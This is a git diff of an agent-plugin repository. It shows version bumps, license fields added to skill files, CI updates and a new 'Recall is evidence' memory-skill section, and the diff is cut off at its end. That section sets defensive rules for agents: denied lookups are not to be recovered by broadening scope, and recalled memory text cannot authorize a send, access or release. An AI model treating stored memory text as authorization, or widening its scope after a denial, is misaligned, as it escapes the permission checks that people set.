diff --git a/.adal/README.md b/.adal/README.md index 95fb30b5b..f53ce7741 100644 --- a/.adal/README.md +++ b/.adal/README.md @@ -20,3 +20,4 @@ bash ./install.sh --target adal --profile minimal - The `adal` target installs into the project-level `./.adal/` directory. - AdaL's own config (`~/.adal/settings.json`, MCP servers, plugins) is **not** touched by ECC install. - Use `npx ecc-universal doctor --target adal` to check install health. +- use an installed diff --git a/.agents/plugins/marketplace.json b/.agents/plugins/marketplace.json index 6da48b541..e730e4eed 100644 --- a/.agents/plugins/marketplace.json +++ b/.agents/plugins/marketplace.json @@ -6,7 +6,7 @@ "plugins": [ { "name": "ecc", - "version": "2.2.1", + "version": "2.2.2", "source": { "source": "local", "path": "./" diff --git a/.agents/skills/agent-introspection-debugging/SKILL.md b/.agents/skills/agent-introspection-debugging/SKILL.md index 25019740e..6d343ca87 100644 --- a/.agents/skills/agent-introspection-debugging/SKILL.md +++ b/.agents/skills/agent-introspection-debugging/SKILL.md @@ -1,6 +1,7 @@ --- name: agent-introspection-debugging description: Structured self-debugging workflow for AI agent failures using capture, diagnosis, contained recovery, and introspection reports. Use when an agent run fails and you need a reproducible diagnosis instead of a retry. +license: MIT --- # Agent Introspection Debugging diff --git a/.agents/skills/agent-sort/SKILL.md b/.agents/skills/agent-sort/SKILL.md index 4daf0a7c2..e180e5199 100644 --- a/.agents/skills/agent-sort/SKILL.md +++ b/.agents/skills/agent-sort/SKILL.md @@ -1,6 +1,7 @@ --- name: agent-sort description: Build an evidence-backed ECC install plan for a specific repo by sorting skills, commands, rules, hooks, and extras into DAILY vs LIBRARY buckets using parallel repo-aware review passes. Use when ECC should be trimmed to what a project actually needs instead of loading the full bundle. +license: MIT --- # Agent Sort diff --git a/.agents/skills/api-design/SKILL.md b/.agents/skills/api-design/SKILL.md index 72ecd9015..98738177f 100644 --- a/.agents/skills/api-design/SKILL.md +++ b/.agents/skills/api-design/SKILL.md @@ -1,6 +1,7 @@ --- name: api-design description: REST API design patterns including resource naming, status codes, pagination, filtering, error responses, versioning, and rate limiting for production APIs. Use when designing or reviewing REST endpoints, resource names, status codes, pagination, or versioning. +license: MIT --- # API Design Patterns diff --git a/.agents/skills/article-writing/SKILL.md b/.agents/skills/article-writing/SKILL.md index 2f17b3e67..ab7f836ed 100644 --- a/.agents/skills/article-writing/SKILL.md +++ b/.agents/skills/article-writing/SKILL.md @@ -1,6 +1,7 @@ --- name: article-writing description: Write articles, guides, blog posts, tutorials, newsletter issues, and other long-form content in a distinctive voice derived from supplied examples or brand guidance. Use when the user wants polished written content longer than a paragraph, especially when voice consistency, structure, and credibility matter. +license: MIT --- # Article Writing diff --git a/.agents/skills/backend-patterns/SKILL.md b/.agents/skills/backend-patterns/SKILL.md index 56983b0eb..721b67a3e 100644 --- a/.agents/skills/backend-patterns/SKILL.md +++ b/.agents/skills/backend-patterns/SKILL.md @@ -1,6 +1,7 @@ --- name: backend-patterns description: Backend architecture patterns, API design, database optimization, and server-side best practices for Node.js, Express, and Next.js API routes. Use when building or reviewing Node.js, Express, or Next.js API routes and their data access. +license: MIT --- # Backend Development Patterns diff --git a/.agents/skills/benchmark-methodology/SKILL.md b/.agents/skills/benchmark-methodology/SKILL.md index bc75367f2..a05b62cc5 100644 --- a/.agents/skills/benchmark-methodology/SKILL.md +++ b/.agents/skills/benchmark-methodology/SKILL.md @@ -6,6 +6,7 @@ description: >- visual craft, offer packaging, evidence, enterprise-readiness, thought leadership, pricing, client's strategic tension) with explicit 1–5 rubrics and a tension-plot. Precedes competitive-report-structure. +license: MIT --- # Benchmark Methodology diff --git a/.agents/skills/brand-discovery/SKILL.md b/.agents/skills/brand-discovery/SKILL.md index 9006a079d..48fd933d2 100644 --- a/.agents/skills/brand-discovery/SKILL.md +++ b/.agents/skills/brand-discovery/SKILL.md @@ -6,6 +6,7 @@ description: >- personality, voice, narrative, and founder-brand tension across 8 modules using laddering, 5 Whys, and projective techniques. Produces a resumable session with disk-persisted state and a master brandbook (90_SYNTHESIS.md). +license: MIT --- # Brand Discovery diff --git a/.agents/skills/brand-voice/SKILL.md b/.agents/skills/brand-voice/SKILL.md index 0ade4fc0d..fb7bec09f 100644 --- a/.agents/skills/brand-voice/SKILL.md +++ b/.agents/skills/brand-voice/SKILL.md @@ -1,6 +1,7 @@ --- name: brand-voice description: Build a source-derived writing style profile from real posts, essays, launch notes, docs, or site copy, then reuse that profile across content, outreach, and social workflows. Use when the user wants voice consistency without generic AI writing tropes. +license: MIT --- # Brand Voice diff --git a/.agents/skills/bun-runtime/SKILL.md b/.agents/skills/bun-runtime/SKILL.md index deb1f506c..ab748e26a 100644 --- a/.agents/skills/bun-runtime/SKILL.md +++ b/.agents/skills/bun-runtime/SKILL.md @@ -1,6 +1,7 @@ --- name: bun-runtime description: Bun as runtime, package manager, bundler, and test runner. When to choose Bun vs Node, migration notes, and Vercel support. +license: MIT --- # Bun Runtime diff --git a/.agents/skills/coding-standards/SKILL.md b/.agents/skills/coding-standards/SKILL.md index 27dbe7cbe..6ca1401aa 100644 --- a/.agents/skills/coding-standards/SKILL.md +++ b/.agents/skills/coding-standards/SKILL.md @@ -1,6 +1,7 @@ --- name: coding-standards description: Baseline cross-project coding conventions for naming, readability, immutability, and code-quality review. Use detailed frontend or backend skills for framework-specific patterns. Use when reviewing code quality or naming with no framework-specific skill that applies. +license: MIT --- # Coding Standards & Best Practices diff --git a/.agents/skills/competitive-platform-analysis/SKILL.md b/.agents/skills/competitive-platform-analysis/SKILL.md index dc9eee967..fb6e9a495 100644 --- a/.agents/skills/competitive-platform-analysis/SKILL.md +++ b/.agents/skills/competitive-platform-analysis/SKILL.md @@ -6,6 +6,7 @@ description: >- counts as a competitor, which tier they belong to, and which sources to mine. First step in the three-skill competitive pipeline; precedes benchmark-methodology. +license: MIT --- # Competitive Platform Analysis diff --git a/.agents/skills/competitive-report-structure/SKILL.md b/.agents/skills/competitive-report-structure/SKILL.md index e5e9b1ce3..b1ebcf4c5 100644 --- a/.agents/skills/competitive-report-structure/SKILL.md +++ b/.agents/skills/competitive-report-structure/SKILL.md @@ -6,6 +6,7 @@ description: >- profiles, benchmarking matrix, white-space analysis, strategic recommendations, and team alignment trigger questions. Final step in the three-skill competitive pipeline. +license: MIT --- # Competitive Report Structure diff --git a/.agents/skills/content-engine/SKILL.md b/.agents/skills/content-engine/SKILL.md index 5c9e2e3f2..14dc8ed7b 100644 --- a/.agents/skills/content-engine/SKILL.md +++ b/.agents/skills/content-engine/SKILL.md @@ -1,6 +1,7 @@ --- name: content-engine description: Create platform-native content systems for X, LinkedIn, TikTok, YouTube, newsletters, and repurposed multi-platform campaigns. Use when the user wants social posts, threads, scripts, content calendars, or one source asset adapted cleanly across platforms. +license: MIT --- # Content Engine diff --git a/.agents/skills/crosspost/SKILL.md b/.agents/skills/crosspost/SKILL.md index db4e9dc00..0b167a134 100644 --- a/.agents/skills/crosspost/SKILL.md +++ b/.agents/skills/crosspost/SKILL.md @@ -1,6 +1,7 @@ --- name: crosspost description: Multi-platform content distribution across X, LinkedIn, Threads, and Bluesky. Adapts content per platform using content-engine patterns. Never posts identical content cross-platform. Use when the user wants to distribute content across social platforms. +license: MIT --- # Crosspost diff --git a/.agents/skills/deep-research/SKILL.md b/.agents/skills/deep-research/SKILL.md index db7b8e6d1..74dc3e52a 100644 --- a/.agents/skills/deep-research/SKILL.md +++ b/.agents/skills/deep-research/SKILL.md @@ -1,6 +1,7 @@ --- name: deep-research description: Multi-source deep research using firecrawl and exa MCPs. Searches the web, synthesizes findings, and delivers cited reports with source attribution. Use when the user wants thorough research on any topic with evidence and citations. +license: MIT --- # Deep Research diff --git a/.agents/skills/dmux-workflows/SKILL.md b/.agents/skills/dmux-workflows/SKILL.md index c3bd27985..9617aa5e8 100644 --- a/.agents/skills/dmux-workflows/SKILL.md +++ b/.agents/skills/dmux-workflows/SKILL.md @@ -1,6 +1,7 @@ --- name: dmux-workflows description: Multi-agent orchestration using dmux (tmux pane manager for AI agents). Patterns for parallel agent workflows across Claude Code, Codex, OpenCode, and other harnesses. Use when running multiple agent sessions in parallel or coordinating multi-agent development workflows. +license: MIT --- # dmux Workflows diff --git a/.agents/skills/documentation-lookup/SKILL.md b/.agents/skills/documentation-lookup/SKILL.md index 8a389f9b0..e29e68525 100644 --- a/.agents/skills/documentation-lookup/SKILL.md +++ b/.agents/skills/documentation-lookup/SKILL.md @@ -1,6 +1,7 @@ --- name: documentation-lookup description: Use up-to-date library and framework docs via Context7 MCP instead of training data. Activates for setup questions, API references, code examples, or when the user names a framework (e.g. React, Next.js, Prisma). +license: MIT --- # Documentation Lookup (Context7) diff --git a/.agents/skills/e2e-testing/SKILL.md b/.agents/skills/e2e-testing/SKILL.md index af6fb9e92..5187aeaa3 100644 --- a/.agents/skills/e2e-testing/SKILL.md +++ b/.agents/skills/e2e-testing/SKILL.md @@ -1,6 +1,7 @@ --- name: e2e-testing description: Playwright E2E testing patterns, Page Object Model, configuration, CI/CD integration, artifact management, and flaky test strategies. Use when writing Playwright tests, structuring page objects, or fixing flaky E2E runs in CI. +license: MIT --- # E2E Testing Patterns diff --git a/.agents/skills/eval-harness/SKILL.md b/.agents/skills/eval-harness/SKILL.md index c117d5a88..8b60b99b1 100644 --- a/.agents/skills/eval-harness/SKILL.md +++ b/.agents/skills/eval-harness/SKILL.md @@ -2,6 +2,7 @@ name: eval-harness description: Formal evaluation framework for Claude Code sessions implementing eval-driven development (EDD) principles. Use when a Claude Code workflow needs a formal eval before it is trusted or changed. allowed-tools: Read, Write, Edit, Bash, Grep, Glob +license: MIT --- # Eval Harness Skill diff --git a/.agents/skills/everything-claude-code/SKILL.md b/.agents/skills/everything-claude-code/SKILL.md index 9a92c67fa..82bf08fff 100644 --- a/.agents/skills/everything-claude-code/SKILL.md +++ b/.agents/skills/everything-claude-code/SKILL.md @@ -1,6 +1,7 @@ --- name: everything-claude-code description: Development conventions and patterns for everything-claude-code. JavaScript project with conventional commits. +license: MIT --- # Everything Claude Code Conventions diff --git a/.agents/skills/exa-search/SKILL.md b/.agents/skills/exa-search/SKILL.md index 1d3e5cb6e..685d26b3b 100644 --- a/.agents/skills/exa-search/SKILL.md +++ b/.agents/skills/exa-search/SKILL.md @@ -1,6 +1,7 @@ --- name: exa-search description: Neural search via Exa MCP for web, code, and company research. Use when the user needs web search, code examples, company intel, people lookup, or AI-powered deep research with Exa's neural search engine. +license: MIT --- # Exa Search diff --git a/.agents/skills/fal-ai-media/SKILL.md b/.agents/skills/fal-ai-media/SKILL.md index a694690fa..24d9da822 100644 --- a/.agents/skills/fal-ai-media/SKILL.md +++ b/.agents/skills/fal-ai-media/SKILL.md @@ -1,6 +1,7 @@ --- name: fal-ai-media description: Unified media generation via fal.ai MCP — image, video, and audio. Covers text-to-image (Nano Banana), text/image-to-video (Seedance, Kling, Veo 3), text-to-speech (CSM-1B), and video-to-audio (ThinkSound). Use when the user wants to generate images, videos, or audio with AI. +license: MIT --- # fal.ai Media Generation diff --git a/.agents/skills/frontend-patterns/SKILL.md b/.agents/skills/frontend-patterns/SKILL.md index 0ff681ead..6696c275a 100644 --- a/.agents/skills/frontend-patterns/SKILL.md +++ b/.agents/skills/frontend-patterns/SKILL.md @@ -1,6 +1,7 @@ --- name: frontend-patterns description: Frontend development patterns for React, Next.js, state management, performance optimization, and UI best practices. Use when building or reviewing React or Next.js components, state, or render performance. +license: MIT --- # Frontend Development Patterns diff --git a/.agents/skills/frontend-slides/SKILL.md b/.agents/skills/frontend-slides/SKILL.md index 32d4f9515..2318ef74e 100644 --- a/.agents/skills/frontend-slides/SKILL.md +++ b/.agents/skills/frontend-slides/SKILL.md @@ -1,6 +1,7 @@ --- name: frontend-slides description: Create stunning, animation-rich HTML presentations from scratch or by converting PowerPoint files. Use when the user wants to build a presentation, convert a PPT/PPTX to web, or create slides for a talk/pitch. Helps non-designers discover their aesthetic through visual exploration rather than abstract choices. +license: MIT --- # Frontend Slides diff --git a/.agents/skills/investor-materials/SKILL.md b/.agents/skills/investor-materials/SKILL.md index 9d69eb6ee..ed14d59b3 100644 --- a/.agents/skills/investor-materials/SKILL.md +++ b/.agents/skills/investor-materials/SKILL.md @@ -1,6 +1,7 @@ --- name: investor-materials description: Create and update pitch decks, one-pagers, investor memos, accelerator applications, financial models, and fundraising materials. Use when the user needs investor-facing documents, projections, use-of-funds tables, milestone plans, or materials that must stay internally consistent across multiple fundraising assets. +license: MIT --- # Investor Materials diff --git a/.agents/skills/investor-outreach/SKILL.md b/.agents/skills/investor-outreach/SKILL.md index ce216e083..c8e28e0dd 100644 --- a/.agents/skills/investor-outreach/SKILL.md +++ b/.agents/skills/investor-outreach/SKILL.md @@ -1,6 +1,7 @@ --- name: investor-outreach description: Draft cold emails, warm intro blurbs, follow-ups, update emails, and investor communications for fundraising. Use when the user wants outreach to angels, VCs, strategic investors, or accelerators and needs concise, personalized, investor-facing messaging. +license: MIT --- # Investor Outreach diff --git a/.agents/skills/market-research/SKILL.md b/.agents/skills/market-research/SKILL.md index 10c7a7643..8f9a08df9 100644 --- a/.agents/skills/market-research/SKILL.md +++ b/.agents/skills/market-research/SKILL.md @@ -1,6 +1,7 @@ --- name: market-research description: Conduct market research, competitive analysis, investor due diligence, and industry intelligence with source attribution and decision-oriented summaries. Use when the user wants market sizing, competitor comparisons, fund research, technology scans, or research that informs business decisions. +license: MIT --- # Market Research diff --git a/.agents/skills/mcp-server-patterns/SKILL.md b/.agents/skills/mcp-server-patterns/SKILL.md index 314b6ab04..a73ae625f 100644 --- a/.agents/skills/mcp-server-patterns/SKILL.md +++ b/.agents/skills/mcp-server-patterns/SKILL.md @@ -1,6 +1,7 @@ --- name: mcp-server-patterns description: Build MCP servers with Node/TypeScript SDK — tools, resources, prompts, Zod validation, stdio vs Streamable HTTP. Use Context7 or official MCP docs for latest API. Use when building or debugging an MCP server — tools, resources, prompts, validation, or transport choice. +license: MIT --- # MCP Server Patterns diff --git a/.agents/skills/mle-workflow/SKILL.md b/.agents/skills/mle-workflow/SKILL.md index 192233785..c91e626f5 100644 --- a/.agents/skills/mle-workflow/SKILL.md +++ b/.agents/skills/mle-workflow/SKILL.md @@ -2,6 +2,7 @@ name: mle-workflow description: Production machine-learning engineering workflow for data contracts, reproducible training, model evaluation, deployment, monitoring, and rollback. Use when building, reviewing, or hardening ML systems beyond one-off notebooks. allowed-tools: Read, Write, Edit, Bash, Grep, Glob +license: MIT --- # Machine Learning Engineering Workflow diff --git a/.agents/skills/nextjs-turbopack/SKILL.md b/.agents/skills/nextjs-turbopack/SKILL.md index 01b9c391f..b29570308 100644 --- a/.agents/skills/nextjs-turbopack/SKILL.md +++ b/.agents/skills/nextjs-turbopack/SKILL.md @@ -1,6 +1,7 @@ --- name: nextjs-turbopack description: Next.js 16+ and Turbopack — incremental bundling, FS caching, dev speed, and when to use Turbopack vs webpack. +license: MIT --- # Next.js and Turbopack diff --git a/.agents/skills/plan-canvas/SKILL.md b/.agents/skills/plan-canvas/SKILL.md index 8b77e1e26..3a4baa851 100644 --- a/.agents/skills/plan-canvas/SKILL.md +++ b/.agents/skills/plan-canvas/SKILL.md @@ -3,6 +3,7 @@ name: plan-canvas description: Open plans and HTML artifacts in a local browser canvas where the human annotates elements, chats, and approves or requests changes without leaving the page. Use when presenting a plan for review, or when feedback like "move this, change that" is easier pointed at than typed. metadata: origin: ECC +license: MIT --- # Plan Canvas diff --git a/.agents/skills/product-capability/SKILL.md b/.agents/skills/product-capability/SKILL.md index 7831d85d8..e747b28eb 100644 --- a/.agents/skills/product-capability/SKILL.md +++ b/.agents/skills/product-capability/SKILL.md @@ -1,6 +1,7 @@ --- name: product-capability description: Translate PRD intent, roadmap asks, or product discussions into an implementation-ready capability plan that exposes constraints, invariants, interfaces, and unresolved decisions before multi-service work starts. Use when the user needs an ECC-native PRD-to-SRS lane instead of vague planning prose. +license: MIT --- # Product Capability diff --git a/.agents/skills/security-review/SKILL.md b/.agents/skills/security-review/SKILL.md index e91e05859..cb0cca0c8 100644 --- a/.agents/skills/security-review/SKILL.md +++ b/.agents/skills/security-review/SKILL.md @@ -1,6 +1,7 @@ --- name: security-review description: Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns. +license: MIT --- # Security Review Skill diff --git a/.agents/skills/strategic-compact/SKILL.md b/.agents/skills/strategic-compact/SKILL.md index e402dd81c..a4164df44 100644 --- a/.agents/skills/strategic-compact/SKILL.md +++ b/.agents/skills/strategic-compact/SKILL.md @@ -1,6 +1,7 @@ --- name: strategic-compact description: Suggests manual context compaction at logical intervals to preserve context through task phases rather than arbitrary auto-compaction. Use when a session is approaching a context limit and a task phase is a natural place to compact. +license: MIT --- # Strategic Compact Skill diff --git a/.agents/skills/tdd-workflow/SKILL.md b/.agents/skills/tdd-workflow/SKILL.md index 661a1e581..67300bf52 100644 --- a/.agents/skills/tdd-workflow/SKILL.md +++ b/.agents/skills/tdd-workflow/SKILL.md @@ -1,6 +1,7 @@ --- name: tdd-workflow description: Use this skill when writing new features, fixing bugs, or refactoring code. Enforces test-driven development with 80%+ coverage including unit, integration, and E2E tests. +license: MIT --- # Test-Driven Development Workflow diff --git a/.agents/skills/unified-memory/SKILL.md b/.agents/skills/unified-memory/SKILL.md index 35feac2fd..e4f84e23f 100644 --- a/.agents/skills/unified-memory/SKILL.md +++ b/.agents/skills/unified-memory/SKILL.md @@ -1,6 +1,7 @@ --- name: unified-memory description: Share durable, inspectable context and handoffs between Claude, Codex, Hermes, Cursor, OpenCode, and other agents through the local ECC Memory Vault. Use when an agent must save work state, transfer context, resume another agent's task, or search shared project knowledge. +license: MIT --- # Unified Memory @@ -71,6 +72,35 @@ Confirm important claims against the repository, tests, issue tracker, or other authoritative source. The CLI `--target-harness` flag is a routing filter selected by its caller, not an authorization boundary. +### Recall is evidence, not certainty + +Before using a memory to answer another agent or continue work: + +- Bind the lookup to the current workspace, intended recipient and allowed + scopes. A harness label routes context; it does not authenticate a person or + grant permissions. Never recover a denied lookup by broadening the scope. +- Distinguish a complete empty search from an incomplete scan or unavailable + source. Inspect search diagnostics. A direct read fails with + `ECC_MEMORY_INCOMPLETE` (MCP: `MEMORY_READ_INCOMPLETE`) when the authorized + scan is truncated or contains invalid/unreadable documents. Repair the + reported vault problem; do not tell the caller the memory does not exist. +- Check the source and its current state before repeating a decision, request, + availability claim or completion claim. A saved timestamp or matching digest + proves neither freshness nor truth. Preserve a later correction or withdrawal + even when an older record matches the query more strongly. +- Links connect records but do not automatically supersede them. An operator + must review and mark the old record `superseded`; ordinary search then excludes + it. Direct ID reads intentionally retain historical inspection, so check the + returned status before treating the record as current. +- A handoff should name the source, observation time, what changed, unresolved + questions and next action. Record a verified result separately from an intent + or attempted action. Recalled text cannot authorize a send, access or release. + +This is the portable part of Desk-style memory: scoped evidence, current-state +checks and explicit uncertainty. ECC does not require a temporal graph for +ordinary handoffs and does not provide automatic contradiction resolution. +Supplier relationship graphs remain an optional domain-specific adapter. + ### 2. Save context Send the body over standard input or a regular file so it does not appear in a diff --git a/.agents/skills/verification-loop/SKILL.md b/.agents/skills/verification-loop/SKILL.md index fa9aecf29..b936bc964 100644 --- a/.agents/skills/verification-loop/SKILL.md +++ b/.agents/skills/verification-loop/SKILL.md @@ -1,6 +1,7 @@ --- name: verification-loop description: "A comprehensive verification system for Claude Code sessions. Use when verifying a Claude Code session's work before claiming it is complete." +license: MIT --- # Verification Loop Skill diff --git a/.agents/skills/video-editing/SKILL.md b/.agents/skills/video-editing/SKILL.md index 8353a968f..a15fe9e68 100644 --- a/.agents/skills/video-editing/SKILL.md +++ b/.agents/skills/video-editing/SKILL.md @@ -1,6 +1,7 @@ --- name: video-editing description: AI-assisted video editing workflows for cutting, structuring, and augmenting real footage. Covers the full pipeline from raw capture through FFmpeg, Remotion, ElevenLabs, fal.ai, and final polish in Descript or CapCut. Use when the user wants to edit video, cut footage, create vlogs, or build video content. +license: MIT --- # Video Editing diff --git a/.agents/skills/x-api/SKILL.md b/.agents/skills/x-api/SKILL.md index 7fb880f71..40d1a8402 100644 --- a/.agents/skills/x-api/SKILL.md +++ b/.agents/skills/x-api/SKILL.md @@ -1,6 +1,7 @@ --- name: x-api description: X/Twitter API integration for posting tweets, threads, reading timelines, search, and analytics. Covers OAuth auth patterns, rate limits, and platform-native content posting. Use when the user wants to interact with X programmatically. +license: MIT --- # X API diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 4ade1b5de..bf0be321f 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -11,8 +11,8 @@ { "name": "ecc", "source": "./", - "description": "Harness-native ECC operator layer - 68 agents, 287 skills, 95 legacy command shims, reusable hooks, rules, selective install profiles, and production-ready workflows for Claude Code, Codex, OpenCode, Cursor, and related agent harnesses", - "version": "2.2.1", + "description": "Harness-native ECC operator layer - 68 agents, 293 skills, 95 legacy command shims, reusable hooks, rules, selective install profiles, and production-ready workflows for Claude Code, Codex, OpenCode, Cursor, and related agent harnesses", + "version": "2.2.2", "author": { "name": "Affaan Mustafa", "email": "me@affaanmustafa.com" diff --git a/.claude-plugin/plugin.json b/.claude-plugin/plugin.json index 9dc28739d..297ed9f8e 100644 --- a/.claude-plugin/plugin.json +++ b/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "ecc", - "version": "2.2.1", - "description": "Harness-native ECC plugin for engineering teams - 68 agents, 287 skills, 95 legacy command shims, reusable hooks, rules, MCP conventions, and operator workflows for Claude Code plus adjacent agent harnesses", + "version": "2.2.2", + "description": "Harness-native ECC plugin for engineering teams - 68 agents, 293 skills, 95 legacy command shims, reusable hooks, rules, MCP conventions, and operator workflows for Claude Code plus adjacent agent harnesses", "author": { "name": "Affaan Mustafa", "url": "https://x.com/affaanmustafa" diff --git a/.claude/workflows/ecc-pro-security-roadmap.js b/.claude/workflows/ecc-pro-security-roadmap.js index 60f6abb67..43df1ecfc 100644 --- a/.claude/workflows/ecc-pro-security-roadmap.js +++ b/.claude/workflows/ecc-pro-security-roadmap.js @@ -124,7 +124,7 @@ phase('Survey'); const surveyThunks = [ () => agent( - `${GUARDRAILS}\n\nSURVEY AgentShield's CURRENT detection capability. Read ~/GitHub/ECC/agentshield: src/rules (built-in detectors), src/* area dirs (taint, injection, supply-chain, runtime, threat-intel, sandbox, policy, remediation, evidence-pack, harness-adapters), README.md, CHANGELOG.md, WORKING-CONTEXT.md. Produce an honest capability map: what classes of agentic-security risk it detects TODAY, where the gaps are, and which capabilities could plausibly be a paid/Pro tier (e.g. continuous monitoring, fleet dashboards, hosted scanning, evidence packs, org policy). area="agentshield-capability".`, + `${GUARDRAILS}\n\nSURVEY AgentShield's CURRENT detection capability. Read ~/GitHub/ECC/agentshield: src/rules (built-in detectors), src/* area dirs (taint, injection, supply-chain, runtime, threat-intel, sandbox, policy, remediation, evidence-pack, harness-adapters), README.md, CHANGELOG.md. Produce an honest capability map: what classes of agentic-security risk it detects TODAY, where the gaps are, and which capabilities could plausibly be a paid/Pro tier (e.g. continuous monitoring, fleet dashboards, hosted scanning, evidence packs, org policy). area="agentshield-capability".`, { label: 'survey:agentshield-capability', phase: 'Survey', agentType: 'general-purpose', schema: CAPABILITY_SCHEMA } ), () => diff --git a/.codex-plugin/plugin.json b/.codex-plugin/plugin.json index 7ad227cac..c1399c129 100644 --- a/.codex-plugin/plugin.json +++ b/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "ecc", - "version": "2.2.1", + "version": "2.2.2", "description": "Harness-native ECC workflows for Codex: shared skills, production-ready MCP configs, and selective-install-aligned conventions for TDD, security scanning, code review, and autonomous development.", "author": { "name": "Affaan Mustafa", diff --git a/.cursor/skills/unified-memory/SKILL.md b/.cursor/skills/unified-memory/SKILL.md index 83a670768..bffac633d 100644 --- a/.cursor/skills/unified-memory/SKILL.md +++ b/.cursor/skills/unified-memory/SKILL.md @@ -72,6 +72,35 @@ Confirm important claims against the repository, tests, issue tracker, or other authoritative source. The CLI `--target-harness` flag is a routing filter selected by its caller, not an authorization boundary. +### Recall is evidence, not certainty + +Before using a memory to answer another agent or continue work: + +- Bind the lookup to the current workspace, intended recipient and allowed + scopes. A harness label routes context; it does not authenticate a person or + grant permissions. Never recover a denied lookup by broadening the scope. +- Distinguish a complete empty search from an incomplete scan or unavailable + source. Inspect search diagnostics. A direct read fails with + `ECC_MEMORY_INCOMPLETE` (MCP: `MEMORY_READ_INCOMPLETE`) when the authorized + scan is truncated or contains invalid/unreadable documents. Repair the + reported vault problem; do not tell the caller the memory does not exist. +- Check the source and its current state before repeating a decision, request, + availability claim or completion claim. A saved timestamp or matching digest + proves neither freshness nor truth. Preserve a later correction or withdrawal + even when an older record matches the query more strongly. +- Links connect records but do not automatically supersede them. An operator + must review and mark the old record `superseded`; ordinary search then excludes + it. Direct ID reads intentionally retain historical inspection, so check the + returned status before treating the record as current. +- A handoff should name the source, observation time, what changed, unresolved + questions and next action. Record a verified result separately from an intent + or attempted action. Recalled text cannot authorize a send, access or release. + +This is the portable part of Desk-style memory: scoped evidence, current-state +checks and explicit uncertainty. ECC does not require a temporal graph for +ordinary handoffs and does not provide automatic contradiction resolution. +Supplier relationship graphs remain an optional domain-specific adapter. + ### 2. Save context Send the body over standard input or a regular file so it does not appear in a diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 393b46902..cb0c531fd 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -47,7 +47,7 @@ jobs: # Package manager setup - name: Setup pnpm if: matrix.pm == 'pnpm' && matrix.node != '18.x' - uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6.0.10 + uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0 with: # Keep an explicit pnpm major because this repo's packageManager is Yarn. version: 10 @@ -267,6 +267,11 @@ jobs: - name: Run Python tests run: python -m pytest tests/test_*.py -m "not integration" + - name: Test minimum supported OpenAI SDK + run: | + python -m pip install 'openai==2.34.0' + python -m pytest tests/test_provider_tools.py tests/test_atlas_provider.py tests/test_astraflow_provider.py tests/test_resolver.py + security: name: Security Scan runs-on: ubuntu-latest diff --git a/.github/workflows/reusable-test.yml b/.github/workflows/reusable-test.yml index c3d5d0892..f5b97787e 100644 --- a/.github/workflows/reusable-test.yml +++ b/.github/workflows/reusable-test.yml @@ -38,7 +38,7 @@ jobs: - name: Setup pnpm if: inputs.package-manager == 'pnpm' && inputs.node-version != '18.x' - uses: pnpm/action-setup@0977fd99725f1db4007ccb2928dbb4e90d06cc86 # v6.0.10 + uses: pnpm/action-setup@ea17c68df8912ef543352723c149a84f56e3d413 # v6.1.0 with: # Keep an explicit pnpm major because this repo's packageManager is Yarn. version: 10 diff --git a/.github/workflows/taste-skills.yml b/.github/workflows/taste-skills.yml new file mode 100644 index 000000000..40e68deb3 --- /dev/null +++ b/.github/workflows/taste-skills.yml @@ -0,0 +1,44 @@ +name: Standalone taste workflows + +on: + pull_request: + paths: + - 'skills/taste-application/**' + - 'skills/taste-distillation/**' + - 'tests/test_taste_*.py' + - '.github/workflows/taste-skills.yml' + push: + branches: [main] + paths: + - 'skills/taste-application/**' + - 'skills/taste-distillation/**' + - 'tests/test_taste_*.py' + - '.github/workflows/taste-skills.yml' + +permissions: + contents: read + +jobs: + offline: + runs-on: ubuntu-latest + timeout-minutes: 10 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + - name: Install local media dependencies + run: python -m pip install -r skills/taste-application/scripts/requirements.txt + - name: Build and install the reusable ECC engine + run: | + python -m pip wheel --no-deps skills/taste-application/scripts --wheel-dir /tmp/ecc-wheels + python -m pip install /tmp/ecc-wheels/ecc_tasteforge-*.whl + - name: Test canonical engine and original creative scripts + run: | + python -m unittest discover -s skills/taste-application/tests + python -m unittest discover -s tests -p 'test_taste_*.py' + cd /tmp + python -I -c "from pathlib import Path; import sys, tasteforge; from tasteforge.pack import load; root = Path(tasteforge.__file__).resolve(); assert root.is_relative_to(Path(sys.prefix).resolve()); fixture = root.parent / 'fixtures/flashethereal'; assert load(fixture).inspect()['validation']['status'] == 'valid'" + python -m tasteforge --help diff --git a/.opencode/index.ts b/.opencode/index.ts index fa6cadc58..8ee800f80 100644 --- a/.opencode/index.ts +++ b/.opencode/index.ts @@ -37,4 +37,4 @@ // Export the main plugin // opencode's legacy plugin loader iterates every module export and throws if // any is not a plugin function, so only the plugin function may be exported. -export { default } from "./plugins/index.js" +export { default } from "./plugins/index.ts" diff --git a/.opencode/package-lock.json b/.opencode/package-lock.json index f6c140bdd..1ea48a9d1 100644 --- a/.opencode/package-lock.json +++ b/.opencode/package-lock.json @@ -1,12 +1,12 @@ { "name": "ecc-universal", - "version": "2.2.1", + "version": "2.2.2", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "ecc-universal", - "version": "2.2.1", + "version": "2.2.2", "license": "MIT", "devDependencies": { "@opencode-ai/plugin": "^1.4.3", diff --git a/.opencode/package.json b/.opencode/package.json index 94e8e3f04..e71d5df73 100644 --- a/.opencode/package.json +++ b/.opencode/package.json @@ -1,6 +1,6 @@ { "name": "ecc-universal", - "version": "2.2.1", + "version": "2.2.2", "description": "ECC plugin for OpenCode - agents, commands, hooks, and skills", "main": "dist/index.js", "types": "dist/index.d.ts", diff --git a/.opencode/plugins/ecc-hooks.ts b/.opencode/plugins/ecc-hooks.ts index 22b1132f0..bf06c03f8 100644 --- a/.opencode/plugins/ecc-hooks.ts +++ 